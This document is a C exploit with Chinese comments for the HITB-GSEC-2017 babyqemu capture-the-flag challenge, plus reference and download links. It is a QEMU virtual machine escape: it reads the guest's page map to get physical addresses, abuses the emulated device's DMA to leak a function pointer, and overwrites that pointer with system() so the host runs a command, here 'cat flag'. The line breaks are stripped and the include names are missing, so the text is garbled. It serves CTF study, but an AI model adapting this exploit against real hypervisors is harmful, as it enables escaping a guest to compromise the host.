#include #include #include #include #include #include #include #include #include #include #include #include #include #include #define MAP_SIZE 4096UL#define MAP_MASK (MAP_SIZE - 1) #define DMA_BASE 0x40000 #define PAGE_SHIFT 12#define PAGE_SIZE (1 << PAGE_SHIFT)#define PFN_PRESENT (1ull << 63)#define PFN_PFN ((1ull << 55) - 1) char* pci_device_name = "/sys/devices/pci0000:00/0000:00:04.0/resource0"; unsigned char* tmpbuf;uint64_t tmpbuf_phys_addr;unsigned char* mmio_base; unsigned char* getMMIOBase(){ int fd; if((fd = open(pci_device_name, O_RDWR | O_SYNC)) == -1) { perror("open pci device"); exit(-1); } mmio_base = mmap(0, MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if(mmio_base == (void *) -1) { perror("mmap"); exit(-1); } return mmio_base;} // 获取页内偏移uint32_t page_offset(uint32_t addr){ // addr & 0xfff return addr & ((1 << PAGE_SHIFT) - 1);} uint64_t gva_to_gfn(void *addr){ uint64_t pme, gfn; size_t offset; int fd; fd = open("/proc/self/pagemap", O_RDONLY); if (fd < 0) { perror("open"); exit(1); } // printf("pfn_item_offset : %p", (uintptr_t)addr >> 9); offset = ((uintptr_t)addr >> 9) & ~7; ////下面是网上其他人的代码,只是为了理解上面的代码 //一开始除以 0x1000 (getpagesize=0x1000,4k对齐,而且本来低12位就是页内索引,需要去掉),即除以2**12, 这就获取了页号了, //pagemap中一个地址64位,即8字节,也即sizeof(uint64_t),所以有了页号后,我们需要乘以8去找到对应的偏移从而获得对应的物理地址 //最终 vir/2^12 * 8 = (vir / 2^9) & ~7 //这跟上面的右移9正好对应,但是为什么要 & ~7 ,因为你 vir >> 12 << 3 , 跟vir >> 9 是有区别的,vir >> 12 << 3低3位肯定是0,所以通过& ~7将低3位置0 // int page_size=getpagesize(); // unsigned long vir_page_idx = vir/page_size; // unsigned long pfn_item_offset = vir_page_idx*sizeof(uint64_t); lseek(fd, offset, SEEK_SET); read(fd, &pme, 8); // 确保页面存在——page is present. if (!(pme & PFN_PRESENT)) return -1; // physical frame number gfn = pme & PFN_PFN; return gfn;} uint64_t gva_to_gpa(void *addr){ uint64_t gfn = gva_to_gfn(addr); assert(gfn != -1); return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);} void mmio_write(uint64_t addr, uint64_t value){ *((uint64_t*)(mmio_base + addr)) = value;} uint64_t mmio_read(uint64_t addr){ return *((uint64_t*)(mmio_base + addr));} void set_cnt(uint64_t val){ mmio_write(144, val);} void set_src(uint64_t val){ mmio_write(128, val);} void set_dst(uint64_t val){ mmio_write(136, val);} void start_dma_timer(uint64_t val){ mmio_write(152, val);} void dma_read(uint64_t offset, uint64_t cnt){ // 设置dma_buf的索引 set_src(DMA_BASE + offset); // 设置读取后要写入的物理地址 set_dst(tmpbuf_phys_addr); // 设置读取的大小 set_cnt(cnt); // 触发hitb_dma_timer start_dma_timer(1|2); // 等待上面的执行完 sleep(1);} void dma_write(uint64_t offset, char* buf, uint64_t cnt){ // 将我们要写的内容先复制到tmpbuf memcpy(tmpbuf, buf, cnt); //设置物理地址(要从这读取写到dma_buf[opaque->dma.dst-0x40000]) set_src(tmpbuf_phys_addr); // 设置dma_buf的索引 set_dst(DMA_BASE + offset); // 设置写入大小 set_cnt(cnt); // 触发hitb_dma_timer start_dma_timer(1); // 等待上面的执行完 sleep(1);} void dma_write_qword(uint64_t offset, uint64_t val){ dma_write(offset, (char *)&val, 8);} void dma_enc_read(uint64_t offset, uint64_t cnt){ // 设置dma_buf的索引 set_src(DMA_BASE + offset); // 设置读取后要写入的物理地址 set_dst(tmpbuf_phys_addr); // 设置读取的大小 set_cnt(cnt); // 触发hitb_dma_timer start_dma_timer(1|2|4); // 等待上面的执行完 sleep(1);} int main(int argc, char const *argv[]){ getMMIOBase(); printf("mmio_base Resource0Base: %p", mmio_base); tmpbuf = malloc(0x1000); tmpbuf_phys_addr = gva_to_gpa(tmpbuf); printf("gva_to_gpa tmpbuf_phys_addr %p", (void*)tmpbuf_phys_addr); printf("tmpbuf: %p", tmpbuf); printf("&tmpbuf: %p", &tmpbuf); // 将enc函数指针写到tmpbuf_phys_addr,之后通过tmpbuf读出即可 dma_read(4096, 8); uint64_t hitb_enc_addr = *((uint64_t*)tmpbuf); uint64_t binary_base_addr = hitb_enc_addr - 0x283DD0; uint64_t system_addr = binary_base_addr + 0x1FDB18; printf("hitb_enc_addr: 0x%lx", hitb_enc_addr); printf("binary_base_addr: 0x%lx", binary_base_addr); printf("system_addr: 0x%lx", system_addr); // 覆盖enc函数指针为system地址 dma_write_qword(4096, system_addr); char* command = "cat flag"; dma_write(0x200, command, strlen(command)); // 触发hitb_dma_timer中的enc函数,从而调用syetem dma_enc_read(0x200, 666); return 0;}
参考链接:
https://xuanxuanblingbling.github.io/ctf/pwn/2022/06/09/qemu/
https://www.anquanke.com/post/id/254906#h3-5
https://www.giantbranch.cn/2019/07/17/VM%20escape%20%E4%B9%8B%20QEMU%20Case%20Study/
https://www.giantbranch.cn/2020/01/02/CTF%20QEMU%20%E8%99%9A%E6%8B%9F%E6%9C%BA%E9%80%83%E9%80%B8%E4%B9%8BHITB-GSEC-2017-babyqemu/
题目下载地址
链接: https://pan.baidu.com/s/1vVjJ6ohHGaZTAVfD68OrlQ
提取码: eeee
